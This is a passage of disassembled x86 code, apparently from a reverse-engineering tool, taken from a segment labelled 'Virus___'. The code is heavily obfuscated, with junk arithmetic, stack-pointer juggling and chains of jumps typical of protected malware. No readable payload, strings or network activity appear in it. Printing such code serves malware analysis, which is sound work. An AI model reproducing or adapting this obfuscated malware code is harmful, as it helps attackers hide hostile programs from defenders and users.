; ---------------------------------------------------------------------------


loc_57C36D:				; CODE XREF: Virus___:0057C6CDj
		push	esi
		jmp	loc_577DDC
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	dx
		push	ebx
		mov	bl, 9Fh
		shr	bl, 5
		push	cx
		mov	cl, 8Fh
		add	bl, cl
		pop	cx
		sub	bl, 0C0h
		mov	dl, bl
		pop	ebx
		or	dl, 18h
		sub	dl, 1
		sub	dl, 6Fh
		push	463Ch
		mov	[esp], ebx
		mov	bl, 26h
		shr	bl, 5
		shl	bl, 8
		jmp	loc_57D187
; ---------------------------------------------------------------------------


loc_57C3AA:				; CODE XREF: Virus___:00573396j
		add	esi, 38BB52EDh
		sub	esi, 2118633Ah
		jmp	loc_5763A7
; ---------------------------------------------------------------------------


loc_57C3BB:				; CODE XREF: Virus___:00575A52j
		mov	[esp], esi
		jmp	loc_57361E
; ---------------------------------------------------------------------------


loc_57C3C3:				; CODE XREF: Virus___:0057622Bj
		pop	esp
		push	ebp
		mov	ebp, 79927857h
		jmp	loc_579308
; ---------------------------------------------------------------------------


loc_57C3CF:				; CODE XREF: Virus___:00577A1Fj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57640A
; ---------------------------------------------------------------------------


loc_57C3EC:				; CODE XREF: Virus___:00577BC9j
		xor	edx, 743E59EDh
		dec	edx
		xor	edx, 7D4D3055h
		add	edx, 9C56829Ch
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_57D84A
; ---------------------------------------------------------------------------


loc_57C409:				; CODE XREF: Virus___:0057745Bj
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		push	esi
		mov	esi, 24490A82h
		mov	edx, 0DF51BEAh
		add	edx, esi
		pop	esi
		xchg	ebx, edx
		jmp	loc_579CDF
; ---------------------------------------------------------------------------


loc_57C42A:				; CODE XREF: Virus___:0057E176j
		push	dword ptr [esp+4]
		jmp	loc_578BE0
; ---------------------------------------------------------------------------


loc_57C433:				; CODE XREF: Virus___:00578E68j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C43F:				; CODE XREF: Virus___:00572DF4j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 0B3D6C8Dh
		jmp	loc_57DFFE
; ---------------------------------------------------------------------------


loc_57C456:				; CODE XREF: Virus___:00574B46j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_578EF9
; ---------------------------------------------------------------------------


loc_57C462:				; CODE XREF: Virus___:0057EEA9j
		mov	eax, 48114F71h
		xor	edx, eax
		pop	eax
		jmp	loc_57A59F
; ---------------------------------------------------------------------------


loc_57C46F:				; CODE XREF: Virus___:00578F85j
		sub	esp, 4
		jmp	loc_57C2DF
; ---------------------------------------------------------------------------


loc_57C47A:				; CODE XREF: Virus___:0057EE19j
		add	ebx, eax
		pop	eax
		jmp	loc_57645F
; ---------------------------------------------------------------------------


loc_57C482:				; CODE XREF: Virus___:00576D7Bj
		and	edi, 132158BCh
		add	edi, 6B2335ADh
		xor	edi, 5A790D2Ch
		xor	edi, 187B1F48h
		mov	ebx, edi
		pop	edi
		neg	ebx
		jmp	loc_57CB15
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_57A894
; ---------------------------------------------------------------------------


loc_57C4AC:				; CODE XREF: Virus___:0057A0D6j
		sub	bl, al
		pop	eax
		shr	bl, 8
		push	eax
		mov	al, 0F0h
		shl	al, 3
		push	ebx
		mov	bh, 0EEh
		jmp	loc_576511
; ---------------------------------------------------------------------------


loc_57C4C0:				; CODE XREF: Virus___:0057C68Bj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_57332E
; ---------------------------------------------------------------------------


loc_57C4E4:				; CODE XREF: Virus___:00574FBCj
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_57ACA5
; ---------------------------------------------------------------------------


loc_57C4EE:				; CODE XREF: Virus___:00577A2Dj
		pop	esp
		movsx	ecx, ax
		push	4BA6h
		mov	[esp], ecx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C4FF:				; CODE XREF: Virus___:0057D59Ej
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57D129
; ---------------------------------------------------------------------------


loc_57C511:				; CODE XREF: Virus___:0057DE15j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		pop	ecx
		jmp	loc_577548
; ---------------------------------------------------------------------------


loc_57C524:				; CODE XREF: Virus___:00577C71j
		add	ebx, 623529BFh
		and	ebx, 3E13603Dh
		sub	ebx, 2C885920h
		sub	ebx, 336A22E7h
		jmp	loc_576032
; ---------------------------------------------------------------------------


loc_57C541:				; CODE XREF: Virus___:00577E97j
		xor	ebp, 4C7E88E7h
		sub	ecx, 6275136Fh
		add	ecx, ebp
		add	ecx, 6275136Fh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_576C60
; ---------------------------------------------------------------------------


loc_57C561:				; CODE XREF: Virus___:0057BB6Fj
		mov	edx, ebp
		pop	ebp
		jmp	loc_57B9B9
; ---------------------------------------------------------------------------


loc_57C569:				; CODE XREF: Virus___:00575361j
		mov	ebp, 6ABB6365h
		add	ecx, ebp
		pop	ebp
		or	ecx, 6D5A1F96h
		shr	ecx, 5
		xor	ecx, 9ED0785h
		add	ecx, 5C034954h
		sub	eax, ecx
		pop	ecx
		sub	eax, ebp
		jmp	loc_57777E
; ---------------------------------------------------------------------------


loc_57C590:				; CODE XREF: Virus___:0057DF85j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_57D5AF
; ---------------------------------------------------------------------------


loc_57C5B0:				; CODE XREF: Virus___:0057420Cj
		push	ecx
		mov	ecx, 708E2CA7h
		xor	ecx, 1F3D401Bh
		not	ecx
		jmp	loc_573F41
; ---------------------------------------------------------------------------


loc_57C5C3:				; CODE XREF: Virus___:0057E6D3j
		pop	esp
		jmp	loc_57603D
; ---------------------------------------------------------------------------
		xor	[esp], ebp
		jmp	loc_575081
; ---------------------------------------------------------------------------


loc_57C5D1:				; CODE XREF: Virus___:00574FDCj
		mov	[esp], edx
		mov	edx, 20F2068Dh
		jmp	loc_57A2D1
; ---------------------------------------------------------------------------


loc_57C5DE:				; CODE XREF: Virus___:0057BAE3j
		push	2F99h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_5750CB
; ---------------------------------------------------------------------------


loc_57C602:				; CODE XREF: Virus___:00576CC8j
		mov	cl, ah
		mov	bh, cl
		pop	ecx
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_57872A
; ---------------------------------------------------------------------------


loc_57C617:				; CODE XREF: Virus___:00578684j
		sub	edi, 26A1759Fh
		push	edi
		dec	dword ptr [esp]
		pop	edi
		add	edi, 85D9C0ACh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 36592F79h
		add	edx, eax
		push	ebx
		push	36592F79h
		pop	ebx
		push	ebx
		mov	ebx, 0E405A30h
		sub	edx, ebx
		jmp	loc_57D5D4
; ---------------------------------------------------------------------------


loc_57C64F:				; CODE XREF: Virus___:00572D53j
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 1FCC47C7h
		xor	esi, 471B7C41h
		jmp	loc_57E04C
; ---------------------------------------------------------------------------


loc_57C666:				; CODE XREF: Virus___:0057628Fj
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_57930E
; ---------------------------------------------------------------------------


loc_57C672:				; CODE XREF: Virus___:005786EDj
		shl	esi, 3
		shl	esi, 6
		shr	esi, 3
		jmp	loc_5743B8
; ---------------------------------------------------------------------------


loc_57C680:				; CODE XREF: Virus___:00573EC6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_57C4C0
; ---------------------------------------------------------------------------


loc_57C690:				; CODE XREF: Virus___:00579320j
		not	ecx
		jmp	loc_57B867
; ---------------------------------------------------------------------------


loc_57C697:				; CODE XREF: Virus___:00576BB9j
		pop	esp
		mov	[esp], edx
		mov	edx, 12972B94h
		jmp	loc_5731E0
; ---------------------------------------------------------------------------


loc_57C6A5:				; CODE XREF: Virus___:0057E713j
		add	al, 0FFh
		push	edx
		mov	dl, 0BFh
		xor	al, dl
		pop	edx
		push	eax
		mov	al, 3Eh
		jmp	loc_5732DD
; ---------------------------------------------------------------------------


loc_57C6B5:				; CODE XREF: Virus___:00577E64j
		mov	ebx, [esp]
		add	esp, 4
		shr	dl, 1
		neg	dl
		jmp	loc_57EB64
; ---------------------------------------------------------------------------


loc_57C6C7:				; CODE XREF: Virus___:00574E79j
		pop	ebx
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_57C36D
; ---------------------------------------------------------------------------


loc_57C6D2:				; CODE XREF: Virus___:0057E6A7j
		sub	edi, eax
		jmp	loc_57630F
; ---------------------------------------------------------------------------


loc_57C6D9:				; CODE XREF: Virus___:00575FA9j
		mov	edx, 23304387h
		shr	edx, 2
		jmp	loc_57D5C7
; ---------------------------------------------------------------------------


loc_57C6E6:				; CODE XREF: Virus___:0057A6F5j
		push	4C9548D6h
		pop	ecx
		jmp	loc_573860
; ---------------------------------------------------------------------------


loc_57C6F1:				; CODE XREF: Virus___:0057E394j
		mov	esi, 1F9D4509h
		add	dword ptr [esp+4], 5205209Dh
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 5205209Dh
		pop	esi
		add	dword ptr [esp], 512F58C9h
		sub	dword ptr [esp], 28DD01B1h
		add	[esp], eax
		add	dword ptr [esp], 28DD01B1h
		sub	dword ptr [esp], 512F58C9h
		sub	esp, 4
		mov	[esp], ecx
		push	1F9D4509h
		push	dword ptr [esp]
		jmp	loc_57ADE3
; ---------------------------------------------------------------------------


loc_57C73D:				; CODE XREF: Virus___:005762F1j
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57DB71
; ---------------------------------------------------------------------------


loc_57C74C:				; CODE XREF: Virus___:00579517j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 52h
		not	cl
		push	ecx
		jmp	loc_574EFA
; ---------------------------------------------------------------------------


loc_57C75F:				; CODE XREF: Virus___:00579F80j
		pop	ebx
		sub	ebp, esi
		pop	esi
		mov	[edi+24h], ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, edx
		push	236Bh
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_57C153
; ---------------------------------------------------------------------------


loc_57C781:				; CODE XREF: Virus___:0057D563j
		xor	ebp, [esp]
		jmp	loc_574A50
; ---------------------------------------------------------------------------


loc_57C789:				; CODE XREF: Virus___:00572B02j
		mov	edx, 4
		jmp	loc_57E365
; ---------------------------------------------------------------------------


loc_57C793:				; CODE XREF: Virus___:0057AA55j
		inc	dl
		sub	dl, 0D5h
		add	dl, 0C4h
		add	bl, dl
		pop	edx
		jmp	loc_574D6F
; ---------------------------------------------------------------------------


loc_57C7A3:				; CODE XREF: Virus___:00573C62j
		pop	edi
		sub	ecx, 1539742Ch
		add	ecx, 7D866FA1h
		sub	ecx, 7384F8Eh
		jmp	loc_57A563
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C8C580DDh, 0FF9462E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57C7C5:				; CODE XREF: Virus___:0057DCBDj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57ECF9
; ---------------------------------------------------------------------------


loc_57C7D6:				; CODE XREF: Virus___:00578ED6j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		sub	esp, 4
		jmp	loc_577DF1
; ---------------------------------------------------------------------------


loc_57C7F9:				; CODE XREF: Virus___:00577EA9j
		sub	ebx, eax
		pop	eax
		sub	ebx, 0E9AF82Ah
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57EEA0
; ---------------------------------------------------------------------------


loc_57C814:				; CODE XREF: Virus___:00579D3Cj
		mov	[esp], eax
		push	1CF55792h
		pop	eax
		push	edi
		mov	edi, 0E30AAC6Eh
		jmp	loc_57BC84
; ---------------------------------------------------------------------------


loc_57C828:				; CODE XREF: Virus___:005747E7j
		not	ebx
		shl	ebx, 2
		shr	ebx, 1
		add	ebx, 28DFC17Dh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57E26D
; ---------------------------------------------------------------------------


loc_57C840:				; CODE XREF: Virus___:00575586j
		add	ecx, esi
		pop	esi
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		jmp	loc_576045
; ---------------------------------------------------------------------------


loc_57C84E:				; CODE XREF: Virus___:0057D0F4j
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C859:				; CODE XREF: Virus___:0057CD0Fj
		not	ecx
		neg	ecx
		neg	ecx
		xor	ecx, 854A0538h
		sub	eax, ecx
		pop	ecx
		add	eax, 5A8F20CAh
		add	eax, ebx
		sub	eax, 5A8F20CAh
		push	esi
		mov	esi, 0EC2167h
		add	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_57D834
; ---------------------------------------------------------------------------


loc_57C888:				; CODE XREF: Virus___:0057A041j
		pop	esp
		jmp	loc_57A4CD
; ---------------------------------------------------------------------------


loc_57C88E:				; CODE XREF: Virus___:005750D9j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C89C:				; CODE XREF: Virus___:00574B3Aj
		sub	esi, 54DF123Dh
		sub	esi, 58242295h
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_572E27
; ---------------------------------------------------------------------------


loc_57C8B9:				; CODE XREF: Virus___:0057D527j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57C8EB:				; CODE XREF: Virus___:0057AAE7j
		sub	edx, 4041424Ah
		sub	edx, 535A7AFBh
		add	edx, 0E405A30h
		pop	ebx
		jmp	loc_5781C1
; ---------------------------------------------------------------------------


loc_57C903:				; CODE XREF: Virus___:00579D95j
		mov	edi, 5B1E7F87h
		not	edi
		push	edx
		push	ecx
		push	56B37B87h
		pop	ecx
		xor	ecx, 56B37B87h
		jmp	loc_5760FD
; ---------------------------------------------------------------------------


loc_57C91D:				; CODE XREF: Virus___:00574522j
		xor	edi, 0FB5FDB7Ah
		add	ecx, 572F7FAFh
		add	ecx, edi
		sub	ecx, 572F7FAFh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57A51D
; ---------------------------------------------------------------------------


loc_57C93C:				; CODE XREF: Virus___:0057E185j
		mov	eax, 21CD2EB1h
		sub	eax, 0AB63FFA1h
		sub	ebx, eax
		pop	eax
		jmp	loc_57644F
; ---------------------------------------------------------------------------


loc_57C94E:				; CODE XREF: Virus___:0057ECEDj
		pop	edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_57C96B
; ---------------------------------------------------------------------------


loc_57C95A:				; CODE XREF: Virus___:0057A96Dj
		push	edx
		mov	edx, esp
		jmp	loc_575DF4
; ---------------------------------------------------------------------------


loc_57C962:				; CODE XREF: Virus___:00575C7Dj
		pop	ebp
		pop	ebp
		add	ebx, ecx
		jmp	loc_572CC4
; ---------------------------------------------------------------------------


loc_57C96B:				; CODE XREF: Virus___:0057C955j
		add	ebx, 4
		jmp	loc_57E841
; ---------------------------------------------------------------------------


loc_57C976:				; CODE XREF: Virus___:005795F9j
		push	edx
		push	esp
		jmp	loc_577E69
; ---------------------------------------------------------------------------


loc_57C97D:				; CODE XREF: Virus___:0057BF62j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	6CE1h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 334B1A53h
		mov	edi, eax
		jmp	loc_572DC3
; ---------------------------------------------------------------------------


loc_57C9A6:				; CODE XREF: Virus___:005799CBj
		push	eax
		push	edi
		jmp	loc_5787E7
; ---------------------------------------------------------------------------


loc_57C9AD:				; CODE XREF: Virus___:0057542Aj
		push	eax
		mov	eax, 1F23195Ah
		sub	eax, 1F231956h
		add	edi, eax
		jmp	loc_577AE6
; ---------------------------------------------------------------------------


loc_57C9BF:				; CODE XREF: Virus___:0057530Ej
		mov	ebp, 48C1086Fh
		jmp	loc_577EE3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_575A90
; ---------------------------------------------------------------------------


loc_57C9D2:				; CODE XREF: Virus___:00577F08j
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5798D1
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_57BE94
; ---------------------------------------------------------------------------


loc_57C9FC:				; CODE XREF: Virus___:00573666j
		add	esi, 0EDE10D84h
		mov	edi, esi
		jmp	loc_5781CC
; ---------------------------------------------------------------------------


loc_57CA09:				; CODE XREF: Virus___:0057A483j
		push	edx
		push	4877h
		jmp	loc_578C22
; ---------------------------------------------------------------------------


loc_57CA14:				; CODE XREF: Virus___:00578E3Ej
		and	ebx, 2CBC1E83h
		push	ebp
		mov	ebp, 2ED23946h
		jmp	loc_5774D8
; ---------------------------------------------------------------------------


loc_57CA25:				; CODE XREF: Virus___:005780C7j
		sub	edx, 2F5C53C6h
		add	edx, esi
		jmp	loc_57AFE4
; ---------------------------------------------------------------------------


loc_57CA32:				; CODE XREF: Virus___:005784B5j
		pop	ebx
		push	esi
		sub	dword ptr [esp], 52A109AAh
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1A5A5956h
		dec	esi
		not	esi
		shr	esi, 1
		xor	esi, 2073DAFFh
		jmp	loc_5782EA
; ---------------------------------------------------------------------------


loc_57CA5A:				; CODE XREF: Virus___:0057D5CFj
		mov	ebx, 4EF02BC9h
		push	eax
		mov	eax, 9C262Bh
		and	ebx, eax
		pop	eax
		xor	ebx, 30ED6F4Eh
		add	edi, ebx
		pop	ebx
		dec	edi
		not	edi
		add	edi, 46F29950h
		add	edx, edi
		pop	edi
		mov	esi, edx
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_57A3FF
; ---------------------------------------------------------------------------


loc_57CA8A:				; CODE XREF: Virus___:00575DFAj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, ebx
		add	eax, 4C1717E3h
		push	5F84h
		mov	[esp], ebp
		push	ebx
		sub	esp, 4
		jmp	loc_573048
; ---------------------------------------------------------------------------


loc_57CAAC:				; CODE XREF: Virus___:00572DA0j
		mov	ecx, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CACA:				; CODE XREF: Virus___:00575097j
		sub	eax, 409A4E46h
		jmp	loc_577642
; ---------------------------------------------------------------------------


loc_57CAD4:				; CODE XREF: Virus___:0057E643j
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	56A1h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57534D
; ---------------------------------------------------------------------------


loc_57CAF8:				; CODE XREF: Virus___:0057D80Aj
		push	dword ptr [esp]
		jmp	loc_57AACD
; ---------------------------------------------------------------------------


loc_57CB00:				; CODE XREF: Virus___:005770C1j
		push	esi
		push	ebx
		push	7C91222Bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_577232
; ---------------------------------------------------------------------------


loc_57CB15:				; CODE XREF: Virus___:0057C49Fj
		push	ebp
		mov	ebp, 4BD631Ah
		not	ebp
		inc	ebp
		shr	ebp, 3
		add	ebp, 0F79CD9EFh
		add	ebx, 492B38B9h
		sub	ebx, ebp
		sub	ebx, 492B38B9h
		jmp	loc_578996
; ---------------------------------------------------------------------------


loc_57CB3A:				; CODE XREF: Virus___:00577148j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ecx
		pop	ecx
		jmp	loc_57B391
; ---------------------------------------------------------------------------


loc_57CB52:				; CODE XREF: Virus___:00578282j
		push	689Dh
		mov	[esp], edx
		mov	edx, 4
		sub	eax, 4EF831B9h
		add	eax, edx
		add	eax, 4EF831B9h
		pop	edx
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5751E7
; ---------------------------------------------------------------------------


loc_57CB7A:				; CODE XREF: Virus___:00578419j
		sub	esi, 2FD9682Bh
		jmp	loc_57978B
; ---------------------------------------------------------------------------


loc_57CB85:				; CODE XREF: Virus___:0057AAC2j
		xor	esi, 1BF0447Fh
		jmp	loc_5780C1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 49043735h
		shl	edx, 7
		jmp	loc_573D03
; ---------------------------------------------------------------------------


loc_57CBA5:				; CODE XREF: Virus___:00579AA5j
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 9F6F8850h
		xor	eax, ebp
		jmp	loc_579993
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_577254
; ---------------------------------------------------------------------------


loc_57CBC9:				; CODE XREF: Virus___:00573036j
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		sub	bl, 17h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	bl, al
		sub	bl, 1Fh
		movzx	eax, al
		jmp	loc_57E76F
; ---------------------------------------------------------------------------


loc_57CBF8:				; CODE XREF: Virus___:005792FBj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 4E4B17C4h
		add	ebx, 45514433h
		sub	ebx, eax
		sub	ebx, 45514433h
		sub	esp, 4
		mov	[esp], edi
		push	1770h
		mov	[esp], eax
		push	5EF494Eh
		pop	eax
		neg	eax
		add	eax, 7F7C1E67h
		shr	eax, 7
		push	edi
		jmp	loc_57CEE8
; ---------------------------------------------------------------------------


loc_57CC3A:				; CODE XREF: Virus___:0057BC06j
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_572E0D
; ---------------------------------------------------------------------------


loc_57CC49:				; CODE XREF: Virus___:005760F8j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_57B017
; ---------------------------------------------------------------------------


loc_57CC69:				; CODE XREF: Virus___:0057B38Cj
		push	eax
		push	2
		pop	eax
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], sp
		jmp	loc_572AA1
; ---------------------------------------------------------------------------


loc_57CC80:				; CODE XREF: Virus___:00575958j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5733B7
; ---------------------------------------------------------------------------


loc_57CC93:				; CODE XREF: Virus___:0057D11Aj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CC98:				; CODE XREF: Virus___:00577ED3j
		mov	ebp, esp
		push	ebx
		mov	ebx, 0ED30AD8h
		dec	ebx
		push	edi
		mov	edi, 52837F47h
		and	ebx, edi
		pop	edi
		add	ebx, 0FD7CF5BDh
		add	ebp, ebx
		jmp	loc_57A15D
; ---------------------------------------------------------------------------


loc_57CCB7:				; CODE XREF: Virus___:00577CE4j
		add	esp, 4
		add	esp, 4
		jmp	loc_57ACF9
; ---------------------------------------------------------------------------


loc_57CCC5:				; CODE XREF: Virus___:00578887j
		sub	al, 33h
		add	al, 68h
		sub	al, bl
		sub	al, 68h
		add	al, 33h
		add	al, 62h
		push	edx
		mov	dl, 1Eh
		jmp	loc_57D440
; ---------------------------------------------------------------------------


loc_57CCD9:				; CODE XREF: Virus___:005794A3j
		btr	[esp], ax
		pushf
		jmp	loc_572E6E
; ---------------------------------------------------------------------------


loc_57CCE4:				; CODE XREF: Virus___:0057639Cj
		pop	esp
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57D660
; ---------------------------------------------------------------------------


loc_57CCF6:				; CODE XREF: Virus___:0057CED5j
		pop	ebx
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 49B34EFCh
		jmp	loc_57A742
; ---------------------------------------------------------------------------


loc_57CD0A:				; CODE XREF: Virus___:0057B52Ej
		not	ecx
		shl	ecx, 5
		jmp	loc_57C859
; ---------------------------------------------------------------------------


loc_57CD14:				; CODE XREF: Virus___:00578339j
		mov	edi, esp
		push	eax
		mov	eax, 7979774Bh
		xor	eax, 3FA30EBFh
		push	edi
		push	eax
		push	53FD4100h
		jmp	loc_573FB4
; ---------------------------------------------------------------------------


loc_57CD2D:				; CODE XREF: Virus___:00577AE1j
		push	ecx
		mov	ecx, 56A55C7Ch
		sub	ecx, 1
		push	esi
		mov	esi, 43482B79h
		shl	esi, 2
		jmp	loc_572BA9
; ---------------------------------------------------------------------------


loc_57CD47:				; CODE XREF: Virus___:0057E4FBj
		mov	[edi+eax*4+1], cl
		pop	ecx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CD51:				; CODE XREF: Virus___:00578EA3j
		pop	eax
		pop	ebx
		mov	edi, edx
		mov	edx, [esp]
		push	eax
		jmp	loc_576659
; ---------------------------------------------------------------------------


loc_57CD5E:				; CODE XREF: Virus___:00578087j
		pop	esp
		mov	edx, [esp]
		push	3F7Fh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		mov	esi, 43595277h
		shl	esi, 7
		jmp	loc_57AC1C
; ---------------------------------------------------------------------------


loc_57CD81:				; CODE XREF: Virus___:00574E2Cj
		push	1DECh
		jmp	loc_576B5E
; ---------------------------------------------------------------------------


loc_57CD8B:				; CODE XREF: Virus___:0057A523j
		xchg	ecx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CD9A:				; CODE XREF: Virus___:005792ADj
		mov	eax, [esp]
		jmp	loc_575742
; ---------------------------------------------------------------------------


loc_57CDA2:				; CODE XREF: Virus___:00575556j
		add	ebx, 3ED107D3h
		sub	ebx, 4D981907h
		jmp	loc_578E43
; ---------------------------------------------------------------------------


loc_57CDB3:				; CODE XREF: Virus___:00576895j
		sub	eax, esi
		pop	esi
		jmp	loc_57DB20
; ---------------------------------------------------------------------------


loc_57CDBB:				; CODE XREF: Virus___:00573CB4j
		add	esi, ebx
		jmp	loc_577DB0
; ---------------------------------------------------------------------------


loc_57CDC2:				; CODE XREF: Virus___:005766A9j
		mov	[esp], edi
		push	eax
		mov	eax, 63B63D0Dh
		shr	eax, 6
		dec	eax
		sub	eax, 6FC4501Bh
		push	esi
		mov	esi, 6F9B1E36h
		add	esi, 3596613Bh
		sub	esi, 48F27303h
		or	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 74B95C0Ah
		sub	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		xchg	ebp, edi
		push	ebp
		push	esi
		jmp	loc_577B35
; ---------------------------------------------------------------------------


loc_57CDFE:				; CODE XREF: Virus___:005733A3j
		pop	ecx
		add	ebp, 4
		jmp	loc_57E387
; ---------------------------------------------------------------------------


loc_57CE07:				; CODE XREF: Virus___:0057AEA2j
		add	eax, ebx
		push	7974h
		mov	[esp], edx
		mov	edx, 1D436FE7h
		push	796h
		mov	[esp], edi
		push	32995132h
		jmp	loc_57BDEE
; ---------------------------------------------------------------------------


loc_57CE28:				; CODE XREF: Virus___:0057AA15j
		shr	edx, 5
		xor	edx, 16AE5Ah
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 79F33595h
		pop	dword ptr [eax]
		push	ecx
		jmp	loc_57B20E
; ---------------------------------------------------------------------------


loc_57CE61:				; CODE XREF: Virus___:005765CCj
		push	dword ptr [esp+4]
		pop	ebp
